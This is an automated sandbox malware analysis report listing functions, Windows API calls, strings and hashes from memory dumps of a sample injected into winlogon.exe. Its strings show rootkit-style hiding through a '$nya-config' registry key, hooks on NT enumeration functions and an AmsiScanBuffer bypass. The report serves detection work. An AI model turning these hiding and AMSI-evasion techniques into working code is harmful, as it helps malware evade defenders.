Associated: 00000008.00000002.2183459805.0000000140004000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2183564088.0000000140007000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_140000000_dllhost.jbxd

Similarity

API ID: Delete$CloseEnumOpen
String ID: SOFTWARE\$nya-config
API String ID: 3013565938-2636501262
Opcode ID: 5400bf53effbf6b262c010f5037711af52f170679b47dd7329b1738abdbb04b9
Instruction ID: 8421849941bfc07d5c6a41991bb422c7bbd6d954f4ecfba192073c561d1589c4
Opcode Fuzzy Hash: 5400bf53effbf6b262c010f5037711af52f170679b47dd7329b1738abdbb04b9
Instruction Fuzzy Hash: 301186B2614A8485E761CF26F8447D923B4F78C7D8F405205E75D0BAA9DF7CC258CB19

Function 000000014000148C Relevance: 6.3, APIs: 5, Instructions: 40memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 00000001400014B2
HeapFree.KERNEL32 ref: 00000001400014C1
GetProcessHeap.KERNEL32 ref: 00000001400014CE
HeapFree.KERNEL32 ref: 00000001400014DD
GetProcessHeap.KERNEL32 ref: 00000001400014ED

Memory Dump Source

Source File: 00000008.00000002.2183396779.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000008.00000002.2183360407.0000000140000000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2183459805.0000000140004000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2183564088.0000000140007000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_140000000_dllhost.jbxd

Similarity

API ID: Heap$Process$Free
String ID:
API String ID: 3168794593-0
Opcode ID: 80d9ba640633e664d37536508cc0a4a26b735903ebb0d8b8d4ae8ea91fecf4e1
Instruction ID: ae713076178dcd36b59d2bede7e3524c8608a398496d325058d9822cf47af1f0
Opcode Fuzzy Hash: 80d9ba640633e664d37536508cc0a4a26b735903ebb0d8b8d4ae8ea91fecf4e1
Instruction Fuzzy Hash: D80102B2610A908AE705EF67B90438977A1F78CFC5F4A4025FB9953739DE38D491C744

Function 00000001400020CC Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 14libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(?,?,00000000,0000000140002C18), ref: 00000001400020DC
GetProcAddress.KERNEL32(?,?,00000000,0000000140002C18), ref: 00000001400020EF

Strings

ntdll.dll, xrefs: 00000001400020D2

Memory Dump Source

Source File: 00000008.00000002.2183396779.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000008.00000002.2183360407.0000000140000000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2183459805.0000000140004000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2183564088.0000000140007000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_140000000_dllhost.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: ntdll.dll
API String ID: 1646373207-2227199552
Opcode ID: 0017c025cb5e8a7c9b0335d05a9c08c4f9d8e31f703f37c02c29db0b138d9ce4
Instruction ID: 17fa8e42c722db624f1936625922d1a8ab69534039b48c71a9bb0a293c881c2b
Opcode Fuzzy Hash: 0017c025cb5e8a7c9b0335d05a9c08c4f9d8e31f703f37c02c29db0b138d9ce4
Instruction Fuzzy Hash: CAD0C9F8B1260182EF1AEB6778553E152515B6DBC9F4940209F0647772DE38C0E48318

Function 0000000140001220 Relevance: 5.0, APIs: 4, Instructions: 21memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(?,?,00000000,0000000140001544), ref: 0000000140001226
HeapAlloc.KERNEL32(?,?,00000000,0000000140001544), ref: 0000000140001235
GetProcessHeap.KERNEL32(?,?,00000000,0000000140001544), ref: 000000014000124F
HeapAlloc.KERNEL32(?,?,00000000,0000000140001544), ref: 0000000140001260

Memory Dump Source

Source File: 00000008.00000002.2183396779.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000008.00000002.2183360407.0000000140000000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2183459805.0000000140004000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2183564088.0000000140007000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_140000000_dllhost.jbxd

Similarity

API ID: Heap$AllocProcess
String ID:
API String ID: 1617791916-0
Opcode ID: 47ff0fd0a0ed3f45e3b7bef41ad735f8b2bd5774596bf556d838e1702c2b3cda
Instruction ID: 1511527892a3fb8eded8389ff9e17f75ca8e9e74a60c21ae91e61c536c9c2234
Opcode Fuzzy Hash: 47ff0fd0a0ed3f45e3b7bef41ad735f8b2bd5774596bf556d838e1702c2b3cda
Instruction Fuzzy Hash: 39E039F170160086E705DB63E80438936E1EB8CB81F858024DA1907371DF7D84D98750

Function 0000000140001000 Relevance: 5.0, APIs: 4, Instructions: 20memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(?,?,00000000,000000014000154C), ref: 0000000140001006
HeapAlloc.KERNEL32(?,?,00000000,000000014000154C), ref: 0000000140001015
GetProcessHeap.KERNEL32(?,?,00000000,000000014000154C), ref: 0000000140001028
HeapAlloc.KERNEL32(?,?,00000000,000000014000154C), ref: 0000000140001037

Memory Dump Source

Source File: 00000008.00000002.2183396779.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000008.00000002.2183360407.0000000140000000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2183459805.0000000140004000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2183564088.0000000140007000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_140000000_dllhost.jbxd

Similarity

API ID: Heap$AllocProcess
String ID:
API String ID: 1617791916-0
Opcode ID: c318bc90e8eaf306909f2f681ed70c0ee622173829c7eddc2bb167e283e0ca4a
Instruction ID: 4369636dfc19c6b46be3dddb2077bf5e2e0bd1da0e3c66b1f75a47794e7da392
Opcode Fuzzy Hash: c318bc90e8eaf306909f2f681ed70c0ee622173829c7eddc2bb167e283e0ca4a
Instruction Fuzzy Hash: 78E0E5F1751A0086E70ADB63E80439976E1FB8CB91F898024EA1907731EE3884D98A24

Analysis Process: winlogon.exePID: 552, Parent PID: 5016COMMON

Execution Graph

Execution Coverage:	1.4%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	2.5%
Total number of Nodes:	118
Total number of Limit Nodes:	19

Executed Functions

Function 00000225DC642C80 Relevance: 13.6, APIs: 9, Instructions: 131
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

TlsGetValue.KERNEL32 ref: 00000225DC642CAD
TlsGetValue.KERNEL32 ref: 00000225DC642CBC
TlsGetValue.KERNEL32 ref: 00000225DC642CCB
NtEnumerateValueKey.NTDLL ref: 00000225DC642D40
NtEnumerateValueKey.NTDLL ref: 00000225DC642D76
NtEnumerateValueKey.NTDLL ref: 00000225DC642DB3
TlsSetValue.KERNEL32 ref: 00000225DC642E0F
TlsSetValue.KERNEL32 ref: 00000225DC642E1E
TlsSetValue.KERNEL32 ref: 00000225DC642E2D

Memory Dump Source

Source File: 00000009.00000002.2288484714.00000225DC641000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000225DC640000, based on PE: true

Associated: 00000009.00000002.2287473946.00000225DC640000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2289644934.00000225DC655000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2290739430.00000225DC660000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2291868866.00000225DC662000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2292943849.00000225DC669000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_225dc640000_winlogon.jbxd

Similarity

API ID: Value$Enumerate
String ID:
API String ID: 3520290360-0
Opcode ID: 7032d40e9fdebae4d03ce316ca6788aa89ff4a06af46faea50622b7dc22550b0
Instruction ID: a0c12a1f98a87ea879fde35af57b915faa0522e2d4c8012c639be39e88e0e21e
Opcode Fuzzy Hash: 7032d40e9fdebae4d03ce316ca6788aa89ff4a06af46faea50622b7dc22550b0
Instruction Fuzzy Hash: 8C51933961CE61A7E765CF9EE448A5AB3A0F788B86F60C159DE4B43B54DF38C845CB00

Function 00000225DC641E3C Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 13
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNELBASE ref: 00000225DC641E47
GetProcAddress.KERNEL32 ref: 00000225DC641E57
SleepEx.KERNELBASE ref: 00000225DC641E67

Strings

amsi.dll, xrefs: 00000225DC641E40
AmsiScanBuffer, xrefs: 00000225DC641E50

Memory Dump Source

Source File: 00000009.00000002.2288484714.00000225DC641000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000225DC640000, based on PE: true

Associated: 00000009.00000002.2287473946.00000225DC640000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2289644934.00000225DC655000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2290739430.00000225DC660000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2291868866.00000225DC662000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2292943849.00000225DC669000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_225dc640000_winlogon.jbxd

Similarity

API ID: AddressLibraryLoadProcSleep
String ID: AmsiScanBuffer$amsi.dll
API String ID: 188063004-3248079830
Opcode ID: 594064a6cd66e1c3961e71c37a52b1967edf4951384bf957dace5d3e1a2af7c1
Instruction ID: b943b4d4fec2722a97f31a6593bd222e515073a37d9d17746b47865a0752c427
Opcode Fuzzy Hash: 594064a6cd66e1c3961e71c37a52b1967edf4951384bf957dace5d3e1a2af7c1
Instruction Fuzzy Hash: 02D0671C625E24F6EE186B9DE89C7543261AB68B03FE49455C50B012A0EE3C8559C340

Function 00000225DC641724 Relevance: 50.9, APIs: 20, Strings: 9, Instructions: 157
registrymemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessHeap.KERNEL32 ref: 00000225DC64172F
HeapAlloc.KERNEL32 ref: 00000225DC64173E

Part of subcall function 00000225DC641264: GetProcessHeap.KERNEL32 ref: 00000225DC64126A
Part of subcall function 00000225DC641264: HeapAlloc.KERNEL32 ref: 00000225DC641279
Part of subcall function 00000225DC641264: GetProcessHeap.KERNEL32 ref: 00000225DC641293
Part of subcall function 00000225DC641264: HeapAlloc.KERNEL32 ref: 00000225DC6412A4

Part of subcall function 00000225DC641000: GetProcessHeap.KERNEL32 ref: 00000225DC641006
Part of subcall function 00000225DC641000: HeapAlloc.KERNEL32 ref: 00000225DC641015
Part of subcall function 00000225DC641000: GetProcessHeap.KERNEL32 ref: 00000225DC641028
Part of subcall function 00000225DC641000: HeapAlloc.KERNEL32 ref: 00000225DC641037

RegOpenKeyExW.KERNELBASE ref: 00000225DC6417AE
RegOpenKeyExW.KERNELBASE ref: 00000225DC6417DB
RegCloseKey.ADVAPI32 ref: 00000225DC6417F5
RegOpenKeyExW.KERNELBASE ref: 00000225DC641815
RegCloseKey.KERNELBASE ref: 00000225DC641830
RegOpenKeyExW.KERNELBASE ref: 00000225DC641850
RegCloseKey.ADVAPI32 ref: 00000225DC64186B
RegOpenKeyExW.KERNELBASE ref: 00000225DC64188B
RegCloseKey.ADVAPI32 ref: 00000225DC6418A6
RegOpenKeyExW.KERNELBASE ref: 00000225DC6418C6
RegCloseKey.ADVAPI32 ref: 00000225DC6418E1
RegOpenKeyExW.KERNELBASE ref: 00000225DC641901
RegCloseKey.ADVAPI32 ref: 00000225DC64191C
RegOpenKeyExW.KERNELBASE ref: 00000225DC64193C
RegCloseKey.ADVAPI32 ref: 00000225DC641957
RegOpenKeyExW.KERNELBASE ref: 00000225DC641977
RegCloseKey.ADVAPI32 ref: 00000225DC641992
RegCloseKey.KERNELBASE ref: 00000225DC64199C

Part of subcall function 00000225DC6412B8: RegQueryInfoKeyW.ADVAPI32 ref: 00000225DC641315
Part of subcall function 00000225DC6412B8: GetProcessHeap.KERNEL32 ref: 00000225DC641323
Part of subcall function 00000225DC6412B8: HeapAlloc.KERNEL32 ref: 00000225DC641334
Part of subcall function 00000225DC6412B8: RegEnumValueW.ADVAPI32 ref: 00000225DC641393
Part of subcall function 00000225DC6412B8: GetProcessHeap.KERNEL32 ref: 00000225DC6413DB
Part of subcall function 00000225DC6412B8: HeapAlloc.KERNEL32 ref: 00000225DC6413E9
Part of subcall function 00000225DC6412B8: GetProcessHeap.KERNEL32 ref: 00000225DC641406
Part of subcall function 00000225DC6412B8: HeapFree.KERNEL32 ref: 00000225DC641414
Part of subcall function 00000225DC6412B8: lstrlenW.KERNEL32 ref: 00000225DC64141D
Part of subcall function 00000225DC6412B8: GetProcessHeap.KERNEL32 ref: 00000225DC64142B
Part of subcall function 00000225DC6412B8: HeapAlloc.KERNEL32 ref: 00000225DC641439

Strings

service_names, xrefs: 00000225DC6418BF
udp, xrefs: 00000225DC641970
startup, xrefs: 00000225DC6417D1
pid, xrefs: 00000225DC64180E
tcp_local, xrefs: 00000225DC6418FA
tcp_remote, xrefs: 00000225DC641935
paths, xrefs: 00000225DC641884
process_names, xrefs: 00000225DC641849
SOFTWARE\$nya-config, xrefs: 00000225DC64178E

Memory Dump Source

Source File: 00000009.00000002.2288484714.00000225DC641000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000225DC640000, based on PE: true

Associated: 00000009.00000002.2287473946.00000225DC640000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2289644934.00000225DC655000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2290739430.00000225DC660000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2291868866.00000225DC662000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2292943849.00000225DC669000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_225dc640000_winlogon.jbxd

Similarity

API ID: Heap$CloseOpenProcess$Alloc$EnumFreeInfoQueryValuelstrlen
String ID: SOFTWARE\$nya-config$paths$pid$process_names$service_names$startup$tcp_local$tcp_remote$udp
API String ID: 2135414181-3572789727
Opcode ID: b9204f2ea4f4db16e4783a971f3715691613b435cf091f5c94434eae8088fe12
Instruction ID: c163acaebe60ea4311e68be09e509954e4c92294b53dd205c1ff3ab862208a51
Opcode Fuzzy Hash: b9204f2ea4f4db16e4783a971f3715691613b435cf091f5c94434eae8088fe12
Instruction Fuzzy Hash: 4771133A724E61A6EB109FA9E85869D3374FB88B8AF909112DD4E57B68EF34C444C740

Function 00000225DC641E74 Relevance: 43.8, APIs: 8, Strings: 17, Instructions: 95
memorythreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentThread.KERNEL32 ref: 00000225DC641E7F

Part of subcall function 00000225DC6422A8: GetModuleHandleA.KERNEL32(?,?,?,00000225DC641EB1), ref: 00000225DC6422C0
Part of subcall function 00000225DC6422A8: GetProcAddress.KERNEL32(?,?,?,00000225DC641EB1), ref: 00000225DC6422D1

CreateThread.KERNELBASE ref: 00000225DC642043
TlsAlloc.KERNEL32 ref: 00000225DC642049
TlsAlloc.KERNEL32 ref: 00000225DC642055
TlsAlloc.KERNEL32 ref: 00000225DC642061
TlsAlloc.KERNEL32 ref: 00000225DC64206D
TlsAlloc.KERNEL32 ref: 00000225DC642079
TlsAlloc.KERNEL32 ref: 00000225DC642085

Strings

NtQueryDirectoryFileEx, xrefs: 00000225DC641EFC
EnumServiceGroupW, xrefs: 00000225DC641F50
NtDeviceIoControlFile, xrefs: 00000225DC641FB6
NtResumeThread, xrefs: 00000225DC641EC2
NtEnumerateKey, xrefs: 00000225DC641F19
PdhGetFormattedCounterArrayW, xrefs: 00000225DC641FF1
NtQuerySystemInformation, xrefs: 00000225DC641EA5
pdh.dll, xrefs: 00000225DC641FD7, 00000225DC641FF8
advapi32.dll, xrefs: 00000225DC641F57, 00000225DC641F78
amsi.dll, xrefs: 00000225DC642019
ntdll.dll, xrefs: 00000225DC641E8D
NtQueryDirectoryFile, xrefs: 00000225DC641EDF
PdhGetRawCounterArrayW, xrefs: 00000225DC641FD0
EnumServicesStatusExW, xrefs: 00000225DC641F71, 00000225DC641F92
sechost.dll, xrefs: 00000225DC641F99
AmsiScanBuffer, xrefs: 00000225DC642012
NtEnumerateValueKey, xrefs: 00000225DC641F36

Memory Dump Source

Source File: 00000009.00000002.2288484714.00000225DC641000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000225DC640000, based on PE: true

Associated: 00000009.00000002.2287473946.00000225DC640000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2289644934.00000225DC655000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2290739430.00000225DC660000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2291868866.00000225DC662000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2292943849.00000225DC669000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_225dc640000_winlogon.jbxd

Similarity

API ID: Alloc$Thread$AddressCreateCurrentHandleModuleProc
String ID: AmsiScanBuffer$EnumServiceGroupW$EnumServicesStatusExW$NtDeviceIoControlFile$NtEnumerateKey$NtEnumerateValueKey$NtQueryDirectoryFile$NtQueryDirectoryFileEx$NtQuerySystemInformation$NtResumeThread$PdhGetFormattedCounterArrayW$PdhGetRawCounterArrayW$advapi32.dll$amsi.dll$ntdll.dll$pdh.dll$sechost.dll
API String ID: 1735320900-4225371247
Opcode ID: 03b1670190296a985cca1de1054792f3360a7fe3fa664d1b18e69e842768ce50
Instruction ID: f29ca842126068601b63f5b890003817ffb932e00ebe5f9bb7d400ae7e1bf134
Opcode Fuzzy Hash: 03b1670190296a985cca1de1054792f3360a7fe3fa664d1b18e69e842768ce50
Instruction Fuzzy Hash: 96519D6C568E6AB6EB01EFECEC5C7D93720A74474BFA0C593940A52175EF3C825AC340

Function 00000225DC64EF88 Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 140
librarymemoryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryExW.KERNEL32(?,00000100,00000000,00000225DC64F34A,?,?,00000000,00000225DC64F2CD), ref: 00000225DC64EFF5
GetLastError.KERNEL32(?,?,00000000,00000225DC64F2CD), ref: 00000225DC64F007
LoadLibraryExW.KERNEL32(?,?,00000000,00000225DC64F2CD), ref: 00000225DC64F049
VirtualProtect.KERNELBASE ref: 00000225DC64F0A5
VirtualProtect.KERNEL32 ref: 00000225DC64F0D6
FreeLibrary.KERNEL32(?,?,00000000,00000225DC64F2CD), ref: 00000225DC64F11A
GetProcAddress.KERNEL32(?,?,00000000,00000225DC64F2CD), ref: 00000225DC64F126

Strings

AppPolicyGetProcessTerminationMethod, xrefs: 00000225DC64F157, 00000225DC64F165
api-ms-, xrefs: 00000225DC64F01B
ext-ms-, xrefs: 00000225DC64F02E

Memory Dump Source

Source File: 00000009.00000002.2288484714.00000225DC641000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000225DC640000, based on PE: true

Associated: 00000009.00000002.2287473946.00000225DC640000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2289644934.00000225DC655000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2290739430.00000225DC660000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2291868866.00000225DC662000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2292943849.00000225DC669000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_225dc640000_winlogon.jbxd

Similarity

API ID: Library$LoadProtectVirtual$AddressErrorFreeLastProc
String ID: AppPolicyGetProcessTerminationMethod$api-ms-$ext-ms-
API String ID: 740688525-1880043860
Opcode ID: 76271e0e5533c610f4bce9abf661b1e9c3d7f925dc4d85dc9c81cd2c8526c81c
Instruction ID: 4da6f4d7dae9b34e047b1af2eeeb94523d213e1203e1e1d78f3bf8175cea8fad
Opcode Fuzzy Hash: 76271e0e5533c610f4bce9abf661b1e9c3d7f925dc4d85dc9c81cd2c8526c81c
Instruction Fuzzy Hash: 2751C63971CF24B1EE149BEA98083A53290BB48BB2F588725EE3E477C0EF38D445C641

Function 00000225DC646270 Relevance: 9.2, APIs: 6, Instructions: 240
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentThreadId.KERNEL32 ref: 00000225DC6462AB
GetThreadContext.KERNEL32 ref: 00000225DC646415

Part of subcall function 00000225DC6460A0: GetCurrentThreadId.KERNEL32 ref: 00000225DC6460A4

Memory Dump Source

Source File: 00000009.00000002.2288484714.00000225DC641000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000225DC640000, based on PE: true

Associated: 00000009.00000002.2287473946.00000225DC640000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2289644934.00000225DC655000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2290739430.00000225DC660000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2291868866.00000225DC662000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2292943849.00000225DC669000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_225dc640000_winlogon.jbxd

Similarity

API ID: Thread$Current$Context
String ID:
API String ID: 1666949209-0
Opcode ID: 06345c450f8296db91144f59c54cbd40b4799d269efc1b0e1a6bce112c420a70
Instruction ID: 295b081cb87bf85b7e110addeb5a6b591f47254ecbc1534d835875b48c3d2520
Opcode Fuzzy Hash: 06345c450f8296db91144f59c54cbd40b4799d269efc1b0e1a6bce112c420a70
Instruction Fuzzy Hash: 6DD1AE3A20CF9891DA70DB9AE49835A77A0F3C8B89F108156EACE47769DF3DC551CB04

Function 00000225DC645810 Relevance: 7.8, APIs: 5, Instructions: 318
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentThreadId.KERNEL32 ref: 00000225DC645896

Memory Dump Source

Source File: 00000009.00000002.2288484714.00000225DC641000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000225DC640000, based on PE: true

Associated: 00000009.00000002.2287473946.00000225DC640000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2289644934.00000225DC655000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2290739430.00000225DC660000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2291868866.00000225DC662000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2292943849.00000225DC669000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_225dc640000_winlogon.jbxd

Similarity

API ID: CurrentThread
String ID:
API String ID: 2882836952-0
Opcode ID: e54ed8d5981410d2d10d562d395602567931b9c6313d0845cabb15234d5347af
Instruction ID: f6bc3099d3021d90f66284fc7764e0d02526fbd7d5bff5af9890d681d6bf729d
Opcode Fuzzy Hash: e54ed8d5981410d2d10d562d395602567931b9c6313d0845cabb15234d5347af
Instruction Fuzzy Hash: B802EA3621DB9496E7A0CB99F49435AB7A0F3C5795F108056EA8E87BA8DF7DC484CF00

Function 00000225DC643EC8 Relevance: 7.5, APIs: 5, Instructions: 47
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleW.KERNEL32(?,?,?,?,?,00000225DC643A5B), ref: 00000225DC643EDB
GetCurrentProcess.KERNEL32(?,?,?,?,?,00000225DC643A5B), ref: 00000225DC643F0E
VirtualProtectEx.KERNELBASE(?,?,?,?,?,00000225DC643A5B), ref: 00000225DC643F2E
GetCurrentProcess.KERNEL32(?,?,?,?,?,00000225DC643A5B), ref: 00000225DC643F47
VirtualProtectEx.KERNELBASE(?,?,?,?,?,00000225DC643A5B), ref: 00000225DC643F68

Memory Dump Source

Source File: 00000009.00000002.2288484714.00000225DC641000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000225DC640000, based on PE: true

Associated: 00000009.00000002.2287473946.00000225DC640000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2289644934.00000225DC655000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2290739430.00000225DC660000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2291868866.00000225DC662000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2292943849.00000225DC669000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_225dc640000_winlogon.jbxd

Similarity

API ID: CurrentProcessProtectVirtual$HandleModule
String ID:
API String ID: 1092925422-0
Opcode ID: 8f39ec8e8825e7e8b48ed506b15ed582bafad4aa87a5a48c909f13f5417d00ae
Instruction ID: 5ab4cc4c86de14b28b7657dd2b04d766b10610f425967c1e4ffea0a6bb593b99
Opcode Fuzzy Hash: 8f39ec8e8825e7e8b48ed506b15ed582bafad4aa87a5a48c909f13f5417d00ae
Instruction Fuzzy Hash: B511422A619B50A3EB649B69E40821E77B0FB44B81F148036DE4E03794EB7DC954C784

Function 00000225DC612EBC Relevance: 6.2, APIs: 4, Instructions: 240memorylibraryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE ref: 00000225DC612F7B
VirtualProtect.KERNELBASE ref: 00000225DC612FA5
LoadLibraryA.KERNELBASE ref: 00000225DC61302E
VirtualProtect.KERNELBASE ref: 00000225DC6131C2

Memory Dump Source

Source File: 00000009.00000003.1989875649.00000225DC610000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000225DC610000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_3_225dc610000_winlogon.jbxd

Similarity

API ID: Virtual$Protect$AllocLibraryLoad
String ID:
API String ID: 3316853933-0
Opcode ID: da5dba7eb06952aa6345e7caa7b696f440210d15dc911575dfa97e0e60fe5b6d
Instruction ID: 7c9ff1a1260ec0b76c18c2d9cc77086b54c9427e4fe21390ef94f9dc999a9e53
Opcode Fuzzy Hash: da5dba7eb06952aa6345e7caa7b696f440210d15dc911575dfa97e0e60fe5b6d
Instruction Fuzzy Hash: 399126BAB02E6097EF648F69D409B6DB391F754FABF54C1349E4A07788DA38D812C700

Function 00000225DC644120 Relevance: 4.6, APIs: 3, Instructions: 64
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualQuery.KERNEL32 ref: 00000225DC6441A6
VirtualAlloc.KERNEL32 ref: 00000225DC6441E0

Memory Dump Source

Source File: 00000009.00000002.2288484714.00000225DC641000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000225DC640000, based on PE: true

Associated: 00000009.00000002.2287473946.00000225DC640000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2289644934.00000225DC655000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2290739430.00000225DC660000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2291868866.00000225DC662000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2292943849.00000225DC669000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_225dc640000_winlogon.jbxd

Similarity

API ID: Virtual$AllocQuery
String ID:
API String ID: 31662377-0
Opcode ID: a8802b86f0811ea88e9113a3d60b8cb8649c82089feb35d3c44dd7bdfe1e6621
Instruction ID: bf1d2617ca0dc1213d6708b6b1205c297df0a859e96066834d8f5fc5efb5be15
Opcode Fuzzy Hash: a8802b86f0811ea88e9113a3d60b8cb8649c82089feb35d3c44dd7bdfe1e6621
Instruction Fuzzy Hash: BD314F2621DE90A1EA30DBADE45932B72A4F389789F108565E6CF07B98DF3CC180CB04

Function 00000225DC643A1C Relevance: 4.5, APIs: 3, Instructions: 39
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleFileNameW.KERNEL32 ref: 00000225DC643A35
PathFindFileNameW.SHLWAPI ref: 00000225DC643A44

Part of subcall function 00000225DC643F88: StrCmpNIW.SHLWAPI(?,?,?,00000225DC64272F), ref: 00000225DC643FA0

Part of subcall function 00000225DC643EC8: GetModuleHandleW.KERNEL32(?,?,?,?,?,00000225DC643A5B), ref: 00000225DC643EDB
Part of subcall function 00000225DC643EC8: GetCurrentProcess.KERNEL32(?,?,?,?,?,00000225DC643A5B), ref: 00000225DC643F0E
